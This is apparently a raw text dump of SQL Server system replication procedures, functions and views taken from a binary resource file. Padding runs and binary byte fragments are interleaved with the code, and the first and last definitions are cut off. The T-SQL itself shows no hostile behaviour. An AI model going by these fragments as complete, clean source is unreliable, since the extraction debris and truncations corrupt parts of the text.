    INSERT  IHarticles
    (
        publisher_id,
        name,
        publication_id,
        table_id,
        creation_script,
        del_cmd,
        ins_cmd,
        upd_cmd,
        filter,
        filter_clause,
        pre_creation_cmd,
        status,
        type,
        schema_option,
        dest_owner,
        dest_table,
        objid,
        sync_objid,
        description,
        instance_id,
        use_default_datatypes
    )
    VALUES
    (
        @publisher_id,
        @article,
        @publication_id,
        @table_id,
        @creation_script,
        @del_cmd,
        @ins_cmd,
        @upd_cmd,
        @filterid,
        @filter_clause, 
        @precmdid,
        @status,
        @typeid,
        @schema_option,
        @destination_owner,
        @destination_table,
        @objid,
        @sync_objid,
        @description,
        @instance_id,
        @use_default_datatypes
    )

    IF @@ERROR <> 0
    BEGIN
        RETURN (1)
    END

    SELECT @article_id = @@IDENTITY

    -----------------------------------------------------------------
    -- Mark columns that are to be replicated
    -----------------------------------------------------------------
    IF @vertical_partition = 'false'
    BEGIN
        EXEC @retcode = sys.sp_IHarticlecolumn  @publication                = @publication,
                                                @article                    = @article,
                                                @refresh_synctran_procs     = 0,
                                                @force_invalidate_snapshot  = @force_invalidate_snapshot,
                                                @publisher                  = @publisher,
                                                @publisher_type             = @publisher_type,
                                                @publisher_dbms             = @publisher_dbms,
                                                @publisher_version          = @publisher_version


        IF @@ERROR <> 0 OR @retcode <> 0
        BEGIN
            RETURN (1)
        END
    END
END
0v@ P8hj
>k
_Xl
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! `<PM3`0 8create procedure sys.sp_checkusernotloggedin
   @loginame		sysname,
   @bogus			int output
AS
	set nocount on

	declare	@sid	varbinary(85)

	select @sid = suser_sid(@loginame)
	if (@sid is null)
		return(15007)

	-- CHECK IF @sid IS CURRENTLY LOGGED IN (ignore cached remote connections) --
	if exists (select session_id from sys.dm_exec_sessions where security_id = @sid and status != 'dormant')
		return(15434)

    -- RETURN SUCCESS --
	return (0)	-- sp_checkusernotloggedin
0
@ u8CREATE VIEW sys.dm_xe_objects AS
	SELECT *
	FROM OpenRowset(TABLE DM_XE_OBJECTS) 
0 8create procedure sys.sp_MSdetermine_logical_record_parents @pubid uniqueidentifier
as
    set nocount on
    declare @retcode int, @publication sysname
    
    -- Return immediately if no logical record relationships are defined.
    if not exists (select * from dbo.sysmergesubsetfilters 
                    where (filter_type & 2) = 2
                    and pubid = @pubid)
        return 0

    -- Now we know this publication has one or more logical record relationships.
    -- Make sure partition groups are in use (check only at publisher). Logical records are available only with
    -- partition groups.
    exec @retcode = sys.sp_MScheckatpublisher @pubid    -- @retcode = 0 implies "at publisher".
    if @retcode = 0 and exists 
                    (select * from dbo.sysmergepublications where pubid = @pubid
                        and use_partition_groups <= 0
                        and (pubid in 
                                (select pubid from dbo.sysmergearticles 
                                where len(subset_filterclause) > 0)
                            or pubid in 
                                (select pubid from dbo.sysmergesubsetfilters 
                                where (filter_type & 1) = 1)))
        
    begin
        select @publication = name from dbo.sysmergepublications where pubid = @pubid
        raiserror(21571, 16, -1, @publication)
        return 1
    end
    
    declare @logical_record_articles table (nickname int, parent_nickname int null)
    declare @top_level_articles table (nickname int)
    declare @worktable table (nickname int)
    
    -- First find the ones that are top-level parents.
    -- The following query does not look at pubid because the logical record parent of a given article
    -- has to be the same for all publications. e.g. if publication 1 has logical record
    -- A1->A2->A3 and publication 2 has A2->A3->A4, it would appear that publication 1 has 
    -- A1 as the parent and publication 2 has A2 as the parent. But in reality, both have to have
    -- A1 as the parent. Otherwise, in one publication A2, A3 would have A1 as the parent and in
    -- the other A2, A3 would have A2 as the parent. This would create problems in the tracking since
    -- contents rows are not on a per-publication basis. This obviously imposes limitations on the choice 
    -- of logical record definitions, but we will assume that the typical usage of this feature would
    -- be to have either identical or non-overlapping logical record relationships in different publications.
    
    -- Top-level parents are considered to have themselves as their parents.
    -- Save off such articles in @top_level_articles
    insert into @top_level_articles (nickname) 
        select distinct join_nickname from dbo.sysmergesubsetfilters
            where (filter_type & 2) = 2
            and join_nickname not in (select art_nickname from dbo.sysmergesubsetfilters
                                        where (filter_type & 2) = 2)
    
    insert into @logical_record_articles (nickname) 
        select distinct nickname from @top_level_articles
        
    insert into @logical_record_articles (nickname) 
        select distinct art_nickname from dbo.sysmergesubsetfilters 
            where (filter_type & 2) = 2
            and art_nickname not in (select nickname from @logical_record_articles)
    
    -- For each nickname in @logical_record_articles which still has parent_nickname = NULL in @logical_record_articles,
    -- find the top-level parent.
    while exists (select * from @logical_record_articles where parent_nickname is NULL)
    begin
        declare @keep_traversing_upwards bit
        
        -- get one article - start with the one with min nickname
        insert into @worktable (nickname) 
            select min(nickname) from @logical_record_articles                            
                where parent_nickname is NULL
                
        set @keep_traversing_upwards = 1
        
        while @keep_traversing_upwards = 1
        begin
            -- work your way up until you find the top-level parent.
            insert into @worktable(nickname)
                select join_nickname from dbo.sysmergesubsetfilters
                where art_nickname in (select nickname from @worktable)
                and join_nickname not in (select nickname from @worktable)
                and (filter_type & 2) = 2
            
            if @@rowcount <> 0
                set @keep_traversing_upwards = 1
            else
                set @keep_traversing_upwards = 0
        end
        
        update @logical_record_articles 
            set parent_nickname = 
                (select top 1 nickname from @top_level_articles 
                    where nickname in (select nickname from @worktable))
        where nickname in (select nickname from @worktable)
        
        delete from @worktable
    end
                                
    update dbo.sysmergepartitioninfo set logical_record_parent_nickname = parent_nickname
    from dbo.sysmergepartitioninfo smaw, @logical_record_articles lra
    where smaw.artid in (select sma.artid from dbo.sysmergearticles sma where sma.nickname = lra.nickname)
    and smaw.pubid in (select pubid from dbo.sysmergesubsetfilters smsf where 
						(art_nickname = lra.nickname or join_nickname = lra.nickname)
						and (filter_type & 2) = 2)

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p`
<R:'H0Ǖ@ 8
--
-- Name:
--		sp_MSrepl_createdatatypemappings
--
-- Description:
--		Create data type mapping tables and load default values
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Expected to be called internally only via MSDB install script
--		
--

create procedure sys.sp_MSrepl_createdatatypemappings
as
begin
	DECLARE @cmd nvarchar(4000)

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- MSdbms
    IF OBJECT_ID(N'dbo.MSdbms', 'U') IS NULL
	BEGIN
		print 'Creating table MSdbms'

		create table MSdbms
		(
			dbms_id			int NOT NULL IDENTITY,
			dbms			sysname NOT NULL,
			version			sysname NULL,
			CONSTRAINT pk_MSdbms PRIMARY KEY (dbms_id)
		)
		
		exec dbo.sp_MS_marksystemobject 'MSdbms'
	END

	-- MSdbms_datatype
    IF OBJECT_ID(N'dbo.MSdbms_datatype', 'U') IS NULL
	BEGIN
		print 'Creating table MSdbms_datatype'

		create table MSdbms_datatype
		(
			datatype_id		int NOT NULL IDENTITY,
			dbms_id			int	NOT NULL,
			type			sysname NOT NULL,
			createparams	int NOT NULL DEFAULT 0,
			CONSTRAINT pk_MSdbms_datatype PRIMARY KEY (datatype_id),
			CONSTRAINT fk_MSdbms_datatype_dbms_id FOREIGN KEY (dbms_id) REFERENCES MSdbms (dbms_id)
		)
		
		exec dbo.sp_MS_marksystemobject 'MSdbms_datatype'

		--
		-- Define default dbms data types
		--
		exec sys.sp_MSrepl_MSSQLdatatypes	'MSSQLServer'
		exec sys.sp_MSrepl_DB2datatypes		'DB2'
		exec sys.sp_MSrepl_ORAdatatypes		'Oracle'
		exec sys.sp_MSrepl_ORAdatatypes		'Oracle', '8'
		exec sys.sp_MSrepl_ORAdatatypes		'Oracle', '9'
		exec sys.sp_MSrepl_ORAdatatypes		'Oracle', '10'
		exec sys.sp_MSrepl_ORAdatatypes		'Oracle', '11'
		exec sys.sp_MSrepl_SASdatatypes		'SYBASE'
	END

	-- MSdbms_map
    IF OBJECT_ID(N'dbo.MSdbms_map', 'U') IS NULL
	BEGIN
		print 'Creating table MSdbms_map'

		create table MSdbms_map
		(
			map_id						int NOT NULL IDENTITY,
			src_dbms_id					int	NOT NULL,
			dest_dbms_id				int NOT NULL,
			src_datatype_id				int NOT NULL,
			src_len_min					bigint NULL DEFAULT NULL,
			src_len_max					bigint NULL DEFAULT NULL,
			src_prec_min				bigint NULL DEFAULT NULL,
			src_prec_max				bigint NULL DEFAULT NULL,
			src_scale_min				bigint NULL DEFAULT NULL,
			src_scale_max				bigint NULL DEFAULT NULL,
			src_nullable				bit NULL DEFAULT NULL,
			default_datatype_mapping_id	int NULL DEFAULT NULL,
			CONSTRAINT pk_MSdbms_map PRIMARY KEY (map_id),
			CONSTRAINT fk_MSdbms_map_src_dbms_id FOREIGN KEY (src_dbms_id) REFERENCES MSdbms (dbms_id),
			CONSTRAINT fk_MSdbms_map_dest_dbms_id FOREIGN KEY (dest_dbms_id) REFERENCES MSdbms (dbms_id),
			CONSTRAINT fk_MSdbms_map_src_datatype_id FOREIGN KEY (src_datatype_id) REFERENCES MSdbms_datatype (datatype_id)
		)
		
		exec dbo.sp_MS_marksystemobject 'MSdbms_map'
	END

	-- MSdbms_datatype_mapping
    IF OBJECT_ID(N'dbo.MSdbms_datatype_mapping', 'U') IS NULL
	BEGIN
		print 'Creating table MSdbms_datatype_mapping'

		create table MSdbms_datatype_mapping
		(
			datatype_mapping_id	int NOT NULL IDENTITY,
			map_id				int NOT NULL,
			dest_datatype_id	int NOT NULL,
			dest_precision		bigint NULL DEFAULT NULL,
			dest_scale			int NULL DEFAULT NULL,
			dest_length			bigint NULL DEFAULT NULL,
			dest_nullable		bit NULL DEFAULT NULL,
			dest_createparams	int DEFAULT 0,
			dataloss			bit NOT NULL DEFAULT 0,
			CONSTRAINT pk_MSdbms_datatype_mapping PRIMARY KEY (datatype_mapping_id),
			CONSTRAINT fk_MSdbms_datatype_mapping_map_id FOREIGN KEY (map_id) REFERENCES MSdbms_map (map_id),
			CONSTRAINT fk_MSdbms_datatype_mapping_dest_datatype_id FOREIGN KEY (dest_datatype_id) REFERENCES MSdbms_datatype (datatype_id)
		)

		ALTER TABLE MSdbms_map
		ADD CONSTRAINT fk_MSdbms_map_default_datatype_mapping_id FOREIGN KEY (default_datatype_mapping_id) REFERENCES MSdbms_datatype_mapping (datatype_mapping_id)

		exec dbo.sp_MS_marksystemobject 'MSdbms_datatype_mapping'
		
		print 'Definining default datatype mappings'
		
        -- Heterogeneous subscribers
        exec sys.sp_MSrepl_MSSQL_ORA_datatypemappings @source_dbms = N'MSSQLSERVER', @destination_dbms = N'ORACLE', @destination_version = '8'
        exec sys.sp_MSrepl_MSSQL_ORA_datatypemappings @source_dbms = N'MSSQLSERVER', @destination_dbms = N'ORACLE', @destination_version = '9'
        exec sys.sp_MSrepl_MSSQL_ORA_datatypemappings @source_dbms = N'MSSQLSERVER', @destination_dbms = N'ORACLE', @destination_version = '10'
        exec sys.sp_MSrepl_MSSQL_ORA_datatypemappings @source_dbms = N'MSSQLSERVER', @destination_dbms = N'ORACLE', @destination_version = '11'
        exec sys.sp_MSrepl_MSSQL_DB2_datatypemappings @source_dbms = N'MSSQLSERVER', @destination_dbms = N'DB2'
        exec sys.sp_MSrepl_MSSQL_SAS_datatypemappings @source_dbms = N'MSSQLSERVER', @destination_dbms = N'SYBASE'
        
        -- Heterogeneous publishers
		exec sys.sp_MSrepl_ORA_MSSQL_datatypemappings @source_dbms = N'ORACLE', @source_version = '8', @destination_dbms = N'MSSQLSERVER'
		exec sys.sp_MSrepl_ORA_MSSQL_datatypemappings @source_dbms = N'ORACLE', @source_version = '9', @destination_dbms = N'MSSQLSERVER'
		exec sys.sp_MSrepl_ORA_MSSQL_datatypemappings @source_dbms = N'ORACLE', @source_version = '10', @destination_dbms = N'MSSQLServer'
		exec sys.sp_MSrepl_ORA_MSSQL_datatypemappings @source_dbms = N'ORACLE', @source_version = '11', @destination_dbms = N'MSSQLServer'
	END

	-- Datatype mappings for heterogeneous subscribers previously used
    -- a base table that now has become a view.  The table should
    -- be dropped and replaced with the new scheme.
    IF OBJECT_ID(N'msdb.dbo.MSdatatype_mappings', 'U') IS NOT NULL
    BEGIN
        DROP TABLE msdb.dbo.MSdatatype_mappings
    END
    
	-- MSdatatype_mappings (view to emulate the pre-Yukon table)
	IF OBJECT_ID(N'dbo.MSdatatype_mappings', 'V') IS NULL
	BEGIN
		print 'Creating view MSdatatype_mappings'
		
		SELECT @cmd = 'CREATE VIEW dbo.MSdatatype_mappings '
					  + '(dbms_name, sql_type, dest_type, dest_prec, dest_create_params, dest_nullable) '
					  + 'AS SELECT destination_dbms, source_type, destination_type, '
					  + 'case when (destination_createparams & 1) = 1 then destination_precision else destination_length end, '
					  + 'destination_createparams, destination_nullable '
					  + 'FROM sys.fn_helpdatatypemap(N''MSSQLSERVER'', ''%'', ''%'', ''%'', ''%'', ''%'', 0)'
		
		EXEC(@cmd)
		
		exec dbo.sp_MS_marksystemobject 'MSdatatype_mappings'
	END

	-- sysdatatypemappings (advanced view)
	IF OBJECT_ID(N'dbo.sysdatatypemappings', 'V') IS NULL
	BEGIN
		print 'Creating view sysdatatypemappings'
		
		SELECT @cmd = 'CREATE VIEW dbo.sysdatatypemappings '
					  + 'AS SELECT * FROM sys.fn_helpdatatypemap(''%'', ''%'', ''%'', ''%'', ''%'', ''%'', 0)'
		
		EXEC(@cmd)
		
		exec dbo.sp_MS_marksystemobject 'sysdatatypemappings'
	END
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`*
r<eEL]+[O0C D8y2h"0 38
--
-- Name: fn_serverid
--
-- Descriptions: this does not seem to get used anywhere
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
CREATE FUNCTION sys.fn_serverid(@servername sysname)
    RETURNS int
AS
BEGIN
    declare @srvid int
    select @srvid = srvid from master.dbo.sysservers where UPPER(srvname) = UPPER(@servername) collate database_default
    RETURN (@srvid)
END    
0;@ O8
--
-- Name:
--		sp_MSrepl_dropdatatypemappings
--
-- Description:
--		Drops data type mapping tables
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Public
-- Requires Certificate signature for catalog access
--
-- Notes:
--		Expected to be called internally only via MSDB install script
--		
--

create procedure sys.sp_MSrepl_dropdatatypemappings
as
begin
	DECLARE @cmd nvarchar(4000)
	
	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

	-- MSdatatype_mappings view
	IF OBJECT_ID(N'dbo.MSdatatype_mappings', 'V') IS NOT NULL
	BEGIN
		PRINT 'Dropping view MSdatatype_mappings...'
		
		SELECT @cmd = 'DROP VIEW dbo.MSdatatype_mappings'
		EXEC(@cmd)
	END
	
	-- sysdatatypemappings view
	IF OBJECT_ID(N'dbo.sysdatatypemappings', 'V') IS NOT NULL
	BEGIN
		PRINT 'Dropping view sysdatatypemappings...'
		
		SELECT @cmd = 'DROP VIEW dbo.sysdatatypemappings'
		EXEC(@cmd)
	END

	-- MSdbms_datatype_mapping
    IF OBJECT_ID(N'dbo.MSdbms_datatype_mapping', 'U') IS NOT NULL
	BEGIN
		PRINT 'Dropping table MSdbms_datatype_mapping...'

		ALTER TABLE MSdbms_map
		DROP CONSTRAINT fk_MSdbms_map_default_datatype_mapping_id

		DROP TABLE dbo.MSdbms_datatype_mapping
	END

	-- MSdbms_map
    IF OBJECT_ID(N'dbo.MSdbms_map', 'U') IS NOT NULL
	BEGIN
		PRINT 'Dropping table MSdbms_map...'
		DROP TABLE dbo.MSdbms_map
	END

	-- MSdbms_datatype
    IF OBJECT_ID(N'dbo.MSdbms_datatype', 'U') IS NOT NULL
	BEGIN
		PRINT 'Dropping table MSdbms_datatype...'
		DROP TABLE dbo.MSdbms_datatype
	END

	-- MSdbms
    IF OBJECT_ID(N'dbo.MSdbms', 'U') IS NOT NULL
	BEGIN
		PRINT 'Dropping table MSdbms...'
		DROP TABLE dbo.MSdbms
	END
END
0H 88!0
 D8IhM	0] 
8create procedure sys.sp_MScheck_autoident_parameters
    @qualified_name nvarchar(300),
    @pub_identity_range bigint = NULL,
    @identity_range bigint = NULL,
    @threshold  int = NULL
as

    declare @objid int
    declare @ident_incr numeric(38,0)
    declare @max_range numeric(38,0)
    declare @min_range numeric(38,0)
    declare @retcode int
    declare @ident_incr_str nvarchar(100)
    declare @identity_column sysname

    select @objid = object_id(@qualified_name)
    
    if OBJECTPROPERTY(@objid, 'tablehasidentity') <> 1
    begin
        raiserror(21194, 16, -1)
        return (1)
    end

    -- we will not allow auto identity range for tinyint
    if exists (select 1 from sys.columns where object_id = object_id(@qualified_name) and is_identity=1 and system_type_id=48)
    begin
        raiserror(20704, 16 ,-1, @qualified_name)
        return 1
    end
    
    if @pub_identity_range <= 1 or @identity_range <= 1
    begin
        raiserror(21232, 16 ,-1)
        return 1
    end

    if @threshold is not NULL and (@threshold<1 OR @threshold>100)
    begin
        raiserror(21241, 16, -1)
        return (1)
    end

    select @ident_incr = IDENT_INCR(@qualified_name)
    select @ident_incr_str = convert(nvarchar(100), @ident_incr)
    select @identity_column = name from sys.columns where object_id = @objid and is_identity = 1
    
    -- publisher identity range and identity range should be a multiple of ident_incr of the identity column
    if (@pub_identity_range%@ident_incr) <> 0
    begin
        raiserror(20657, 16, -1, @qualified_name, @identity_column, @ident_incr_str)
        return (1)
    end
    
    if (@identity_range%@ident_incr) <> 0
    begin
        raiserror(20658, 16, -1, @qualified_name, @identity_column, @ident_incr_str)
        return (1)
    end
    
    exec @retcode = sys.sp_MScompute_maxmin_identity @objid, @max_range output, @min_range output
    if @retcode<>0 or @@error<>0
        return 1

    if @pub_identity_range>=@max_range or 
       @pub_identity_range + @identity_range > @max_range
    begin
        raiserror(21290, 16, -1)
        return (1)
    end

    if (@ident_incr > 0)
    begin
        if (@pub_identity_range + @identity_range) > (@max_range - ISNULL(IDENT_CURRENT(@qualified_name), IDENT_SEED(@qualified_name)))
        begin
            raiserror(21290, 16, -1)
            return (1)
        end
    end
    else
    begin
        if -(@pub_identity_range + @identity_range) < (@min_range - ISNULL(IDENT_CURRENT(@qualified_name), IDENT_SEED(@qualified_name)))
        begin
            raiserror(21290, 16, -1)
            return (1)
        end
    end

0
X@ 8
create procedure sys.sp_MSevaluate_change_membership_for_pubid (@pubid uniqueidentifier, @partition_id int = NULL) as
begin
    declare @membership_eval_proc_name nvarchar(130), @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid
    if @retcode<>0 or @@ERROR<>0
        return 1

    -- get the ArticleChangeMembershipEvaluation proc for each article in this publication.
    declare membership_eval_proc_names CURSOR LOCAL FAST_FORWARD FOR select membership_eval_proc_name
    from dbo.sysmergepartitioninfo 
    where pubid = @pubid and membership_eval_proc_name is not null and membership_eval_proc_name <> ' '
    FOR READ ONLY
    
    open membership_eval_proc_names

    fetch next from membership_eval_proc_names into @membership_eval_proc_name

    while (@@fetch_status <> -1)
    begin
        select @membership_eval_proc_name = 'dbo.' + @membership_eval_proc_name
        exec @retcode = @membership_eval_proc_name @partition_id
        if @@error <> 0 or @retcode <> 0
            return 1
        
        fetch next from membership_eval_proc_names into @membership_eval_proc_name
    end

    close membership_eval_proc_names
    deallocate membership_eval_proc_names

    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&
^

y`<M#30ݜ 
8create procedure sys.sp_get_job_status_mergepullsubscription_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @runstatus         int output  
)
as
begin
    set nocount on
    declare @retcode            int
    declare @job_id             uniqueidentifier
    declare @subscription_type  int
    declare @pubid              uniqueidentifier
    declare @subscriber         sysname
    declare @subscriber_db      sysname

    set @retcode = 0
    set @job_id = null
    set @subscription_type = null
    set @subscriber = @@servername
    set @subscriber_db = db_name()    

	select @runstatus  = NULL

    if object_id('dbo.sysmergepublications') is null
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    select @pubid = pubid 
      from dbo.sysmergepublications
     where name = @publication
       and upper(publisher) = upper(@publisher)
       and publisher_db = @publisher_db
    if @pubid is null
    begin
        raiserror (20026, 16, -1, @publication)
        return 1
    end
    
    select @subscription_type = subscription_type
      from dbo.sysmergesubscriptions
     where upper(subscriber_server) = upper(@subscriber)
       and pubid <> subid
       and pubid = @pubid
       and db_name = @subscriber_db
    if @subscription_type is null or @subscription_type = 0
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    if object_id('dbo.MSsubscription_properties') is not null
    begin
        select @job_id = sjs.job_id
          from MSsubscription_properties sp
    inner join msdb.dbo.sysjobsteps sjs
            on sp.job_step_uid = sjs.step_uid
    inner join msdb.dbo.sysjobs_view sjv
            on sjv.job_id = sjs.job_id
         where upper(publisher) = upper(@publisher)
           and publisher_db = @publisher_db
           and publication = @publication              
           and sjv.master_server = 0
           and sjv.category_id = 14
           and sjs.subsystem = N'Merge'
           and (sjs.database_name is null or sjs.database_name = db_name())
    end

    if @job_id is null
    begin
        -- "The specified pull subscription is not configured with a synchronization agent job."
        raiserror(21848, 16, -1)
        return 1
    end

	-- this table we hold only single row
    declare @job_info table( 
		 runstatus 	int,
		 message 		nvarchar(1024),
		 date 			int,		
		 time 			int,		
		 datetime		nvarchar(50)		 	
		)
		

	insert into @job_info exec sp_MSenum_replication_job @job_id=@job_id
	select top 1 @runstatus=runstatus from @job_info

end
0| 8 
-- add it
create view sys.dm_pdw_nodes_os_child_instances as
select *, convert(int, null) pdw_node_id from sys.dm_os_child_instances
0@ 	8
--
-- Name:
--		sp_IHValidateRowFilter
--
-- Description:
--		Validate a supplied row filter for an article within
--		a heterogeneous publication.
--
-- Inputs:
--		@publisher		== name of Oracle publisher
